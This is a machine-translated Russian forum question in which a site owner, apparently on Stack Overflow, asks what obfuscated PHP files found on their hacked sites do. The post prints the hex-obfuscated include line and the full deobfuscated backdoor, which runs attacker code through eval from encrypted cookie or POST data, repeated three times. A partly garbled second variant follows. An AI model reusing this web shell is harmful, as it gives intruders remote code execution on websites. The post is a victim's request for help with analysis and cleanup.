Intereting Posts
Читатель Php Ориентированный на производительность способ защиты файлов на уровне PHP? Почему массив PHP изменяется, когда его элемент привязан к ссылке? Проверьте, является ли схема URL-адресом HTTP или HTTPS Автоматическое увеличение при нажатии на якорь Объединить второе текстовое поле с введенным текстовым значением в качестве новой строки в существующем созданном изображении PHP: как результаты запроса хранятся в mysqli_result Подсчет количества конкретных символов внутри строки Composer установлен, но get / usr / bin / env: php: Нет такого файла или каталога Попытка извлечь 5 символов из столбца при добавлении записи mysql через php Список значений перечисления в раскрывающемся списке php mysql Есть ли у PHP функция, такая как строки шаблона Python? PHPUnit не может найти класс TestCase Как хранить qrcode, сгенерированный с помощью phpqrcode, в db вместо пути к файлу? Использование serveride для подключения к API

Мой сайт заражен запутанным вредоносным программным обеспечением PHP – что он делает +, как я могу избавиться от него?

У меня есть три веб-сайта, размещенные на одном и том же веб-сервере. Недавно я работал на одном из веб-сайтов и заметил, что около месяца назад была изменена группа файлов. В частности, все экземпляры index.html были переименованы в index.html.bak.bak , а файлы index.php были помещены на свои места. Файлы index.php относительно просты; они включают файл, скрытый где-то в файловой системе каждого веб-сайта (по-видимому, случайную папку), которая была запутана с помощью кодировки с шестнадцатеричным кодированием JS, а затем отменила исходный индекс index.html:

 <?php /*2d4f2*/ @include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f"; /*2d4f2*/ echo file_get_contents('index.html.bak.bak'); 

Включенный файл здесь был

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

В другом домене это было

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

Как вы могли догадаться, на самом деле это не значки, а просто php-файлы с другим расширением. Теперь я не знаю, что делают эти файлы (вот почему я спрашиваю здесь). Они были полностью запутаны, но https://malwaredecoder.com/, похоже, может взломать его. Результаты можно найти здесь, но я вставил де-заглушенный код ниже:

 @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109'; global $cs_auth; if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_get_current_filepath() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function cs_decrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth); } function cs_encrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key); } function cs_get_plugin_config() { $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config = substr($self_content, $config_pos + 32); $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath()))); } else { $plugins = Array(); } return $plugins; } function cs_set_plugin_config($plugins) { $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath()))); $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config_old = substr($self_content, $config_pos + 32); $self_content = str_replace($config_old, $config_enc, $self_content); } else { $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc; } @file_put_contents(cs_get_current_filepath(), $self_content); } function cs_plugin_add($name, $base64_data) { $plugins = cs_get_plugin_config(); $plugins[$name] = base64_decode($base64_data); cs_set_plugin_config($plugins); } function cs_plugin_rem($name) { $plugins = cs_get_plugin_config(); unset($plugins[$name]); cs_set_plugin_config($plugins); } function cs_plugin_load($name=NULL) { foreach (cs_get_plugin_config() as $pname=>$pcontent) { if ($name) { if (strcmp($name, $pname) == 0) { eval($pcontent); break; } } else { eval($pcontent); } } } foreach ($_COOKIE as $key=>$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=>$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); if (isset($data['ak']) && $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; } cs_plugin_load(); } эта @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109'; global $cs_auth; if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_get_current_filepath() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function cs_decrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth); } function cs_encrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key); } function cs_get_plugin_config() { $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config = substr($self_content, $config_pos + 32); $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath()))); } else { $plugins = Array(); } return $plugins; } function cs_set_plugin_config($plugins) { $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath()))); $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config_old = substr($self_content, $config_pos + 32); $self_content = str_replace($config_old, $config_enc, $self_content); } else { $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc; } @file_put_contents(cs_get_current_filepath(), $self_content); } function cs_plugin_add($name, $base64_data) { $plugins = cs_get_plugin_config(); $plugins[$name] = base64_decode($base64_data); cs_set_plugin_config($plugins); } function cs_plugin_rem($name) { $plugins = cs_get_plugin_config(); unset($plugins[$name]); cs_set_plugin_config($plugins); } function cs_plugin_load($name=NULL) { foreach (cs_get_plugin_config() as $pname=>$pcontent) { if ($name) { if (strcmp($name, $pname) == 0) { eval($pcontent); break; } } else { eval($pcontent); } } } foreach ($_COOKIE as $key=>$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=>$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); if (isset($data['ak']) && $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; } cs_plugin_load(); } не @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109'; global $cs_auth; if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_get_current_filepath() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function cs_decrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth); } function cs_encrypt($data, $key) { global $cs_auth; return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key); } function cs_get_plugin_config() { $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config = substr($self_content, $config_pos + 32); $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath()))); } else { $plugins = Array(); } return $plugins; } function cs_set_plugin_config($plugins) { $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath()))); $self_content = @file_get_contents(cs_get_current_filepath()); $config_pos = strpos($self_content, md5(cs_get_current_filepath())); if ($config_pos !== FALSE) { $config_old = substr($self_content, $config_pos + 32); $self_content = str_replace($config_old, $config_enc, $self_content); } else { $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc; } @file_put_contents(cs_get_current_filepath(), $self_content); } function cs_plugin_add($name, $base64_data) { $plugins = cs_get_plugin_config(); $plugins[$name] = base64_decode($base64_data); cs_set_plugin_config($plugins); } function cs_plugin_rem($name) { $plugins = cs_get_plugin_config(); unset($plugins[$name]); cs_set_plugin_config($plugins); } function cs_plugin_load($name=NULL) { foreach (cs_get_plugin_config() as $pname=>$pcontent) { if ($name) { if (strcmp($name, $pname) == 0) { eval($pcontent); break; } } else { eval($pcontent); } } } foreach ($_COOKIE as $key=>$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=>$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); if (isset($data['ak']) && $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; } cs_plugin_load(); } 

Кроме того, есть файл под названием init5.php в одной из папок контента веб-сайта, который после деобфускации как можно больше становится:

 $GLOBALS['893\Gt3$3'] = $_POST; $GLOBALS['S9]<\<\$'] = $_COOKIE; @>P>r"$,('$66N6rTNj', NULL); @>P>r"$,('TNjr$66N6"', 0); @>P>r"$,('k3'r$'$9#,>NPr,>k$', 0); @"$,r,>k$rT>k>,(0); $w6f96424 = NULL; $s02c4f38 = NULL; global $y10a790; function a31f0($w6f96424, $afb8d) { $p98c0e = ""; for ($r035e7=0; $r035e7<",6T$P($w6f96424);) { for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++) { $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545])); } } return $p98c0e; } function la30956($w6f96424, $afb8d) { global $y10a790; return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d); } foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d) { $w6f96424 = $ua56c9d; $s02c4f38 = $afb8d; } if (!$w6f96424) { foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d) { $w6f96424 = $ua56c9d; $s02c4f38 = $afb8d; } } $w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38)); if (isset($w6f96424['38']) && $y10a790==$w6f96424['38']) { if ($w6f96424['3'] == '>') { $r035e7 = Array( '@=' => @@)@=$6">NP(), '"=' => 'x%<Fx', ); echo @"$6>3T>a$($r035e7); } elseif ($w6f96424['3'] == '$') { eval($w6f96424['`']); } } 

Есть более запутанные PHP-файлы, чем больше я выгляжу, а что-то страшно. Их много. Даже файлы index.php WordPress, похоже, были заражены; к ним добавлены obfuscated @include . Кроме того, на одном из сайтов есть файл под названием «ssh», который, кажется, является своего рода двоичным файлом (может быть, сама программа ssh)?

Кто-нибудь знает, что это такое? Как они попали на мой сервер? Как я могу избавиться от них и убедиться, что они никогда не вернутся?

Другая информация: мой веб-хор – Laughing Squid; У меня нет доступа к оболочке. Сервер работает под управлением Linux, Apache 2.4 и PHP 5.6.29. Спасибо!